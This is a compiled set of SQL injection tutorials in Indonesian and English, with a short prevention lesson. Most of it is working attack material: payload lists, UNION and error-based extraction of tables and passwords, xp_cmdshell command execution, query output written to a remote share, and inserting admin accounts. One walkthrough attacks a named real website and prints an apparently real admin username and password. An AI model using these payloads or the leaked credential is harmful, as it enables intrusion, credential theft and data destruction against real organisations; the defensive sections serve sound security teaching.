33
http://www.binushacker.net/simple-sql-injection- tutorial.html This information is for educational purpose only. Please use this information wisely. Udah pada tau kan soal SQL injection? Yah kalo belum baca deh Tutorialnya (dulu pernah ta buat) Itu tutorial basic, sekarang kita ke tutorial advance. Disini ga akan dibahas gimana cara inject nya tapi berbagai syntax yang bisa kita gunakan untuk menginject suatu website (jika emang bisa diinject). Oke, lets’ begin Syntax SQL Injection 1. Commenting out. Gunanya untuk mengakhiri suatu query, bypass query. + SQL Server Syntax: – Penggunaan: DROP namatabel;– + MySQL Syntax: # Penggunaan: DROP namatabel;# Contoh penggunaan in real life: * Username: admin’– * Proses query yang terjadi di server: SELECT * FROM userlist WHERE username=’admin’–’ AND password=’password’; Query ini akan memberikan km akses sebagai admin karena query selanjutnya setelah — akan diabaikan 2. Inline comment Gunanya untuk mengetahui versi SQL server yang digunakan atau untuk bypass script proteksi + SQL Server (MySQL juga bisa) Syntax: /*Comment*/ Penggunaan: DROP/*comment*/namatabel

SQL Injection Introduction

  • Upload
    ainey

  • View
    241

  • Download
    5

Embed Size (px)

Citation preview

Page 1: SQL Injection Introduction

http://www.binushacker.net/simple-sql-injection-tutorial.html

This information is for educational purpose only.Please use this information wisely.

Udah pada tau kan soal SQL injection?Yah kalo belum baca deh Tutorialnya (dulu pernah ta buat)Itu tutorial basic, sekarang kita ke tutorial advance.Disini ga akan dibahas gimana cara inject nya tapi berbagai syntax yang bisa kita gunakanuntuk menginject suatu website (jika emang bisa diinject).

Oke, lets’ begin

Syntax SQL Injection1. Commenting out.Gunanya untuk mengakhiri suatu query, bypass query.+ SQL ServerSyntax: –Penggunaan: DROP namatabel;–+ MySQLSyntax: #Penggunaan: DROP namatabel;#

Contoh penggunaan in real life:* Username: admin’–* Proses query yang terjadi di server:SELECT * FROM userlist WHERE username=’admin’–’ AND password=’password’;Query ini akan memberikan km akses sebagai admin karena query selanjutnya setelah — akan diabaikan

2. Inline commentGunanya untuk mengetahui versi SQL server yang digunakan atau untuk bypass script proteksi+ SQL Server (MySQL juga bisa)Syntax: /*Comment*/Penggunaan: DROP/*comment*/namatabelatau: DR/**/OP/*bypass proteksi*/namatabelatau: SELECT/*menghindari-spasi*/password/**/FROM/**/userlist

+ MySQL (mendeteksi versi)Syntax: /*!MYSQL Special SQL*/Penggunaan: SELECT /*!32302 1/0,*/1 FROM namatabelNote: Syntax juga bisa digunakan jika versi MySQL lebih tinggi dari 3.23.02 (sesuai query), tidak berfungsi untuk versi dibawahnya

Page 2: SQL Injection Introduction

3. Staking queriesGunanya untuk menyambung 2 buah query dalam 1 transaksi.+ SQL ServerSyntax: ;Penggunaan: SELECT * FROM namatabel; DROP namatabel–

4. Pernyataan IFIni kunci jika melakukan Blind SQL Injection, juga berguna untuk testing sesuatu yang ga jelas secara akurat+ SQL ServerSyntax: IF kondisi bagian-true ELSE bagian-falsePenggunaan: IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’

+ MySQLSyntax: IF(kondisi,bagian-true,bagian-false)Penggunaan: SELECT IF(1=1,’true’,’false’)

5. Operasi StringGunanya untuk bypass proteksi+ SQL ServerSyntax: +Penggunaan: SELECT login + ‘-’ + password FROM userlist+ MySQL ServerSyntax: ||Penggunaan: SELECT login || ‘-’ || password FROM userlist

Note: Jika MySQL server dalam mode ANSI syntax berfunsi. Cara lain adalah dengan menggunakan fungsi CONCAT() dalam MySQL.Syntax: CONCAT(str1,str2,str3,…)Penggunaan: SELECT CONCAT(login,password) FROM userlist

6. Union InjectionGunanya menggabungkan 2 tabel yang berbeda dengan syarat tabel itu harus sama jumlah kolomnya.

Syntax: UNIONPenggunaan: ‘ UNION SELECT * FROM namatabelatau: ‘ UNION ALL SELECT * FROM namatabelatau: ‘ UNION SELECT kolom1,kolom2 FROM namatabelProses yang terjadi dalam query:SELECT * FROM user WHERE id=’1′ UNION SELECT kolom1,kolom2 FROM namatabel

Jika tabel tersebut mempunyai kolom yang berbeda, maka dapat ditambahkan null atau 1Penggunaan: ‘ UNION SELECT 1,kolom1,kolom2 FROM namatabel

Page 3: SQL Injection Introduction

- Enjoy -

SQL Injection, step by stepBy D-andPublished: April 25, 2007

http://www.sekuritionline.net/plugins/p2_news/printarticle.php?p2_articleid=7

/********************************************************* * SQL Injection, step by step. * * No Warranty. This tutorial is for educational use only,  * commercial use is prohibited. * **********************************************************/

Akhir-akhir ini, anda sering mendengar istilah "SQL Injection" ?Anda tahu betapa berbahaya bug yang satu ini ?Berikut akan kita sajikan step by step SQL Injection ini.Catatan : kita akan membatasi bahasan pada SQL Injection di MS-SQL Server.

Kita akan mengambil contoh di site www.pln-wilkaltim.co.idAda dua kelemahan di site ini, yaitu:1. Tabel News2. Tabel Admin

Langkah pertama, kita tentukan lubang mana yang bisa di-injectdengan jalan berjalan-jalan (enumeration) dulu di site tsb.Kita akan menemukan 2 model cara input parameter, yaitu dengancara memasukkan lewat input box dan memasukkannya lewatalamat URL.

Kita ambil yang termudah dulu, dengan cara input box.Kemudian kita cari kotak login yang untuk admin.Ketemu di www.pln-wilkaltim.co.id/sipm/admin/admin.aspLangkah pertama untuk menentukan nama tabel dan fieldnya,kita inject kotak NIP dengan perintah (password terserah, cabangbiarkan aja):' having 1=1--jangan lupa untuk menuliskan tanda kutip tunggal dan tandaminus dobel (penting).Arti kedua tanda tsb bisa anda cari di tutorial SQL Injectiondi www.neoteker.or.id ini (lihat arsip sebelumnya).

Page 4: SQL Injection Introduction

Kemudian akan keluar pesan error:--------------------Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'T_ADMIN.NOMOR' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause./sipm/admin/dologin.asp, line 7--------------------Keluarlah nama field pertama kita !!!Catat nama tabel : T_ADMINCatat nama field : NOMOR

Kemudian kita akan mencari nama field-field berikutnya,beserta nama tabel yang mungkin berbeda-beda.Kita inject di kotak NIP (password terserah):' group by T_ADMIN.NOMOR having 1=1--Akan keluar pesan error:--------------------Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'T_ADMIN.NIP' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause./sipm/admin/dologin.asp, line 7--------------------Artinya itulah nama tabel dan field kedua kita.Catat : T_ADMIN.NIP

Kemudian kita cari field ke tiga :' group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1--Akan keluar pesan error:--------------------Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'T_ADMIN.PASSWORD' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause./sipm/admin/dologin.asp, line 7--------------------Catat field ke tiga : T_ADMIN.PASSWORD

Lakukan langkah di atas sampai kita menemukan field terakhir.

Berikut adalah pesan error yang terjadi, jika kita mengecekfield terakhir dengan meng-inject:

Page 5: SQL Injection Introduction

' group by T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD,T_ADMIN.NAMA,T_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ADMIN.EMAIL having 1=1--(catatan : kalimat harus 1 baris, tidak dipotong)--------------------- NIP atau Password atau Unit Anda salah !!   ---------------------Sukses !!! Kita berhasil menemukan field terakhir.Daftar kolom (field):T_ADMIN.NOMOR T_ADMIN.NIP T_ADMIN.PASSWORD T_ADMIN.NAMA T_ADMIN.KD_RANTING T_ADMIN.ADDRESS T_ADMIN.EMAIL Hanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN),ini akan mempermudah proses kita selanjutnya.

Langkah berikutnya, kita menentukan jenis struktur field-field tersebut di atas.

Kita inject di kotak NIP (pass terserah) :' union select sum(NOMOR) from T_ADMIN--Arti dari query tersebut adalah : kita coba menerapkanklausa sum sebelum menentukan apakah jumlah kolom-kolomdi dua rowsets adalah sejenis.Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah)yang berlaku untuk type kolom numerik, jadi untuk type kolomyang bukan numerik, akan keluar error yang bisa memberitahu kita jenis kolom yang dimaksud.Pesan error :--------------------Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists./sipm/admin/dologin.asp, line 7--------------------artinya kolom NOMOR berjenis numerik.

Berikutnya kita inject :' union select sum(NIP) from T_ADMIN--Akan keluar pesan error :--------------------

Page 6: SQL Injection Introduction

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a char data type as an argument./sipm/admin/dologin.asp, line 7--------------------Artinya kolom NIP bertype char.

Kita harus mengulang perintah di atas untuk kolom yangberikutnya dengan jalan mengganti nama_kolom di :' union select sum(nama_kolom) from T_ADMIN--dengan kolom yang berikutnya.Kita peroleh 7 type kolom:T_ADMIN.NOMOR => numericT_ADMIN.NIP => charT_ADMIN.PASSWORD => nvarcharT_ADMIN.NAMA => charT_ADMIN.KD_RANTING => charT_ADMIN.ADDRESS => nvarcharT_ADMIN.EMAIL => char

Langkah berikutnya, kita akan mencari isi kolom password,untuk user admin, dengan meng-inject :' union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > 'a'--artinya kita memilih minimum nama user yang lebih besar dari 'a'dan mencoba meng-konvert-nya ke tipe integer.Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilih kolom NAMA, dan mengabaikan 6 kolom yang lain.Akan keluar pesan error :--------------------Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'bill ' to a column of data type int./sipm/admin/dologin.asp, line 7--------------------Anda lihat :varchar value 'bill ''bill' itu adalah nama user di record yang terakhir dimasukkan,atau isi kolom NAMA di record yang terakhir dimasukkan.

Selanjutnya kita inject :' union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where NAMA = 'bill'--catatan : harus sebaris (tidak dipotong).Akan keluar error :

Page 7: SQL Injection Introduction

---------------------Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm@mpusk@u' to a column of data type int./sipm/admin/dologin.asp, line 7---------------------Artinya kita berhasil !!!Kita dapatkan [+] NAMA = bill[+] PASSWORD = m@mpusk@u

Silahkan login ke :www.pln-wilkaltim.co.id/sipm/admin/admin.aspdengan account di atas, sedang nama cabang, silahkan andaisi sendiri dengan cara coba-coba

Atau kita pakai jalan pintas saja....

Kita inject-kan :' union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN where NAMA ='bill'--catatan : harus satu baris.Duarrrrrr..........Glhodhak.............Langsung masuk ke menu admin.Ingat : jangan buat kerusakan ! beritahu sang admin !!!

Lubang ke dua adalah pada bagian berita.Pada dasarnya berita di situ adalah isi dari tabel yang lain lagi. Jadi tetep bisa kita inject !!!Bedanya, kita harus memasukkan parameter di alamat URL-nya.Contoh :www.pln-wilkaltim.co.id/dari_Media.asp?id=2119&idm=40&idSM=2ada parameter id dan idSM.Setelah kita coba inject, ternyata yang berpengaruh adalah parameter id aja (CMIIW).

Kita inject-kan :www.pln-wilkaltim.co.id/dari_Media.asp?id=2119' having 1=1--akan keluar pesan error :---------------------------Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'tb_news.NewsId' is invalid in the select list because it is not contained in an aggregate function and

Page 8: SQL Injection Introduction

there is no GROUP BY clause./dari_Media.asp, line 58---------------------------artinya 'tb_news.NewsId' itulah nama tabel dan kolom kitayang pertama.

Ulangi langkah-langkah kita di atas sampai didapatkan :tb_news.NewsId => numerictb_news.NewsCatId => numerictb_news.EntryDate => datetimetb_news.Title => nvarchartb_news.Content => tb_news.FotoLink =>tb_news.FotoType => bit datatb_news.review => tb_news.sumber => chartb_news.dateagenda => datetime

Nah, selanjutnya adalah tugas anda sendiri untuk mengembangkanpengetahuan anda.Anda bisa men-insert berita yang bisa anda tentukan sendiri isinya.

Inilah mengapa hole di MS-SQL Server ini demikian berbahaya.

Perkiraan saya, nama-nama partai di situs KPU yang di-hackoleh Shizoprenic, juga ada di tabel-tabel suatu database,jadi tetep bisa dimasuki dengan cara SQL Injection ini.

******************************************************KHUSUS BUAT ADMIN & WEB PROGRAMMER !!!******************************************************Cara pencegahan yang umum digunakan :1. Batasi panjang input box (jika memungkinkan), dengancara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.2. Filter input yang dimasukkan oleh user, terutama penggunaantanda kutip tunggal (Input Validation).3. Matikan atau sembunyikan pesan-pesan error yang keluardari SQL Server yang berjalan.4. Matikan fasilitas-fasilitas standar seperti Stored Procedures,Extended Stored Procedures jika memungkinkan.5. Ubah "Startup and run SQL Server" menggunakan low privilege user di SQL Server Security tab.

Page 9: SQL Injection Introduction

Yah itulah mungkin yang dapat saya ceritakan.....Hal itu adalah gambaran, betapa tidak amannya dunia internet...Kalau mau lebih aman, copot kabel jaringan anda, copot diskdrive anda, copot harddisk anda, jual kompie anda !!!Just kidding )

Referensi :[+] sqlinjection, www.BlackAngels.it[+] anvanced sql injection in sql server applications (www.ngssoftware.com)[+] sql injection walktrough (www.securiteam.com)

MySQL - SQL Injection Preventionhttp://www.tizag.com/mysqlTutorial/mysql-php-sql-injection.php

If you have ever taken raw user input and inserted it into a MySQL database there's a chance that you have left yourself wide open for a security issue known as SQL Injection. This lesson will teach you how to help prevent this from happening and help you secure your scripts and MySQL statements.

What is SQL InjectionSQL injection refers to the act of someone inserting a MySQL statement to be run on your database without your knowledge. Injection usually occurs when you ask a user for input, like their name, and instead of a name they give you a MySQL statement that you will unknowingly run on your database.

SQL Injection ExampleBelow is a sample string that has been gathered from a normal user and a bad user trying to use SQL Injection. We asked the users for their login, which will be used to run a SELECT statement to get their information.

MySQL & PHP Code:

// a good user's name$name = "timmy";

Page 10: SQL Injection Introduction

$query = "SELECT * FROM customers WHERE username = '$name'";echo "Normal: " . $query . "<br />";

// user input that uses SQL Injection$name_bad = "' OR 1'";

// our MySQL query builder, however, not a very safe one$query_bad = "SELECT * FROM customers WHERE username = '$name_bad'";

// display what the new query will look like, with injectionecho "Injection: " . $query_bad;

Display:

Normal: SELECT * FROM customers WHERE username = 'timmy'Injection: SELECT * FROM customers WHERE username = '' OR 1''

The normal query is no problem, as our MySQL statement will just select everything from customers that has a username equal to timmy.

However, the injection attack has actually made our query behave differently than we intended. By using a single quote (') they have ended the string part of our MySQL query

username = ' '

and then added on to our WHERE statement with an OR clause of 1 (always true).

username = ' ' OR 1

This OR clause of 1 will always be true and so every single entry in the "customers" table would be selected by this statement!

More Serious SQL Injection AttacksAlthough the above example displayed a situation where an attacker could possibly get access to a lot of information they shouldn't have, the attacks can be a lot worse. For example an attacker could empty out a table by executing a DELETE statement.

MySQL & PHP Code:

$name_evil = "'; DELETE FROM customers WHERE 1 or username = '";

// our MySQL query builder really should check for injection$query_evil = "SELECT * FROM customers WHERE username = '$name_evil'";

// the new evil injection query would include a DELETE statementecho "Injection: " . $query_evil;

Page 11: SQL Injection Introduction

Display:

SELECT * FROM customers WHERE username = ' '; DELETE FROM customers WHERE 1 or username = ' '

If you were run this query, then the injected DELETE statement would completely empty your "customers" table. Now that you know this is a problem, how can you prevent it?

Injection Prevention - mysql_real_escape_string()Lucky for you, this problem has been known for a while and PHP has a specially-made function to prevent these attacks. All you need to do is use the mouthful of a function mysql_real_escape_string.

What mysql_real_escape_string does is take a string that is going to be used in a MySQL query and return the same string with all SQL Injection attempts safely escaped. Basically, it will replace those troublesome quotes(') a user might enter with a MySQL-safe substitute, an escaped quote \'.

Lets try out this function on our two previous injection attacks and see how it works.

MySQL & PHP Code:

//NOTE: you must be connected to the database to use this function!// connect to MySQL

$name_bad = "' OR 1'";

$name_bad = mysql_real_escape_string($name_bad);

$query_bad = "SELECT * FROM customers WHERE username = '$name_bad'";echo "Escaped Bad Injection: <br />" . $query_bad . "<br />";

$name_evil = "'; DELETE FROM customers WHERE 1 or username = '";

$name_evil = mysql_real_escape_string($name_evil);

$query_evil = "SELECT * FROM customers WHERE username = '$name_evil'";echo "Escaped Evil Injection: <br />" . $query_evil;

Display:

Escaped Bad Injection:SELECT * FROM customers WHERE username = '\' OR 1\''

Page 12: SQL Injection Introduction

Escaped Evil Injection:SELECT * FROM customers WHERE username = '\'; DELETE FROM customers WHERE 1 or username = \''

Notice that those evil quotes have been escaped with a backslash \, preventing the injection attack. Now all these queries will do is try to find a username that is just completely ridiculous:

Bad: \' OR 1\' Evil: \'; DELETE FROM customers WHERE 1 or username = \'

And I don't think we have to worry about those silly usernames getting access to our MySQL database. So please do use the handy mysql_real_escape_string() function to help prevent SQL Injection attacks on your websites. You have no excuse not to use it after reading this lesson!

SQL Injection Walkthrough 26 May 2002

http://www.securiteam.com/securityreviews/5DP0N1P76E.html   Summary The following article will try to help beginners with grasping the problems facing them while trying to utilize SQL Injection techniques, to successfully utilize them, and to protect themselves from such attacks.   Credit:The information has been provided by SK.

Website Security Scan Code Vulnerability Test Network Assessment ToolDetect hidden vulnerabilities Exhaustive automated testing Real-time, continuous securityGet guidance from professionals of internal or 3rd party code. scanning for your entire network

Details SQL Injection protection is EASY!

Use an External Vulnerability Scanner!

Nothing to install. Zero maintenance. Full Security!

www.beyondsecurity.com/sql-injection.html

1 IntroductionWhen a machine has only port 80 opened, your most trusted vulnerability scanner cannot return anything useful, and you know that the admin always patch his server, we have to turn to web hacking. SQL injection is one of type of web hacking that require nothing but port 80 and it might just work even if the admin is patch-happy. It attacks on the web application (like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services running in the OS.

This article does not introduce anything new, SQL injection has been widely written and used in the wild. We wrote the article because we

Page 13: SQL Injection Introduction

would like to document some of our pen-test using SQL injection and hope that it may be of some use to others. You may find a trick or two but please check out the "9.0 Where can I get more info?" for people who truly deserve credit for developing many techniques in SQL injection.

1.1 What is SQL Injection?It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.

1.2 What do you need?Any web browser.

2.0 What you should look for?Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:<FORM action=Search/search.asp method=post><input type=hidden name=A value=C></FORM>

Everything between the <FORM> and </FORM> have potential parameters that might be useful (exploit wise).

2.1 What if you can't find any page that takes input?You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:

http://duck/index.asp?id=10

3.0 How do you test if it is vulnerable?Start with a single quote trick. Input something like:

hi' or 1=1--

Into login, or password, or even in the URL. Example: - Login: hi' or 1=1-- - Pass: hi' or 1=1--

Page 14: SQL Injection Introduction

 - http://duck/index.asp?id=hi' or 1=1--

If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. Example:

<FORM action=http://duck/Search/search.asp method=post><input type=hidden name=A value="hi' or 1=1--"></FORM>

If luck is on your side, you will get login without any login name or password.

3.1 But why ' or 1=1--?Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:

http://duck/index.asp?category=food

In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):

v_cat = request("category")sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"set rs=conn.execute(sqlstr)

As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:

SELECT * FROM product WHERE PCategory='food'

The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'.

Now, assume that we change the URL into something like this:

http://duck/index.asp?category=food' or 1=1--

Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

Page 15: SQL Injection Introduction

The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote ('). Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

' or 'a'='a

The SQL query will now become:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

It should return the same result.

Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1--" or 1=1--or 1=1--' or 'a'='a" or "a"="a') or ('a'='a

4.0 How do I get remote execution with SQL injection?Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Try using double quote (") if single quote (') is not working.

The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:

#tcpdump icmp

Page 16: SQL Injection Introduction

If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.

5.0 How to get output of my SQL query?It is possible to use sp_makewebtask to write your query into an HTML:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

But the target IP must folder "share" sharing for Everyone.

6.0 How to get data from the database using ODBC error messageWe can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example:

http://duck/index.asp?id=10

We will try to UNION the integer '10' with another string from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int. /index.asp, line 5

The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is "table1".

Page 17: SQL Injection Introduction

To get the next table name, we can use the following query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

We also can search for data using LIKE keyword:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5

The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, "admin_login".

6.1 How to mine all column names of a table?We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. /index.asp, line 5

Now that we have the first column name, we can use NOT IN () to get the next column name:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Page 18: SQL Injection Introduction

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5

When we continue further, we obtained the rest of the column name, i.e. "password", "details". We know this when we get the following error message:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. /index.asp, line 5

6.2 How to retrieve any data we want?Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database.

Now, let's get the first login_name from the "admin_login" table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. /index.asp, line 5

We now know there is an admin user with the login name of "neo". Finally, to get the password of "neo" from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Page 19: SQL Injection Introduction

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int. /index.asp, line 5

We can now login as "neo" with his password "m4trix".

6.3 How to get numeric string value?There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of "trinity" which is "31173":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

We will probably get a "Page Not Found" error. The reason being, the password "31173" will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry.

To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into the actual password. Therefore, even if we have a numeric string '31173', it will become '31173 morpheus'. By manually calling the convert() function, trying to convert '31173 morpheus' into an integer, SQL Server will throw out ODBC error message:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. /index.asp, line 5

Now, you can even login as 'trinity' with the password '31173'.

Page 20: SQL Injection Introduction

7.0 How to update/insert data into the database?When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for "neo":

http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

To INSERT a new record into the database:

http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

We can now login as "neo2" with the password of "newpas5".

8.0 How to avoid SQL Injection?Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings from: - Input from users - Parameters from URL - Values from cookie

For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer.

Change "Startup and run SQL Server" using low privilege user in SQL Server Security tab.

Delete stored procedures that you are not using like:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

9.0 Where can I get more info?One of the earliest works on SQL Injection we have encountered should be the paper from Rain Forest Puppy about how he hacked PacketStorm.http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

Great article on gathering information from ODBC error messages:http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

A good summary of SQL Injection on various SQL Server on http://www.owasp.org/asac/input_validation/sql.shtml

Page 21: SQL Injection Introduction

Senseport's article on reading SQL Injection:http://www.sensepost.com/misc/SQLinsertion.htm

Other worth readings:http://www.digitaloffense.net/wargames01/IOWargames.ppt http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6 http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

Cara Sederhana sql injection MySQL   v5

http://andr381.wordpress.com/2008/11/21/cara-sederhana-sql-injection-mysql-v5/

Cara Sederhana sql injection MySQL v5 |————————————–author: Andr3^81email: andr3-81 [at] linuxmail [dot] org

http://site.com/vuln.php?id=1′ <- error

kita coba cari nama databasenyahttp://site.com/vuln.php?id=1 union all select 0 from admindidapat nama databasenya bego

http://site.com/vuln.php?id=1 union all select 0 from information_schema.tablesbelum berhasil

kita cari jumlah kolomnyahttp://site.com/vuln.php?id=1 order by 9/* tidak erorhttp://site.com/vuln.php?id=1 order by 10/* erormaka diambil kesimpulan kolomnya berjumlah 9

http://site.com/vuln.php?id=1 union all select 1,2,3,4,5,6,7,8,9 from information_schema.tables/*tidak didapat apa2tambahkan (-) didepan belakang (=)http://site.com/vuln.php?id=-1 union all select 1,2,3,4,5,6,7,8,9 from information_schema.tables/*didapat angka 3

untuk mencari nama tabelnya, angka 3 kita ganti dengan table_namehttp://site.com/vuln.php?id=-1 union all select 1,2,table_name,4,5,6,7,8,9 from

Page 22: SQL Injection Introduction

information_schema.tables where table_schema=’bego’/*didapat nama tabel tblArsip

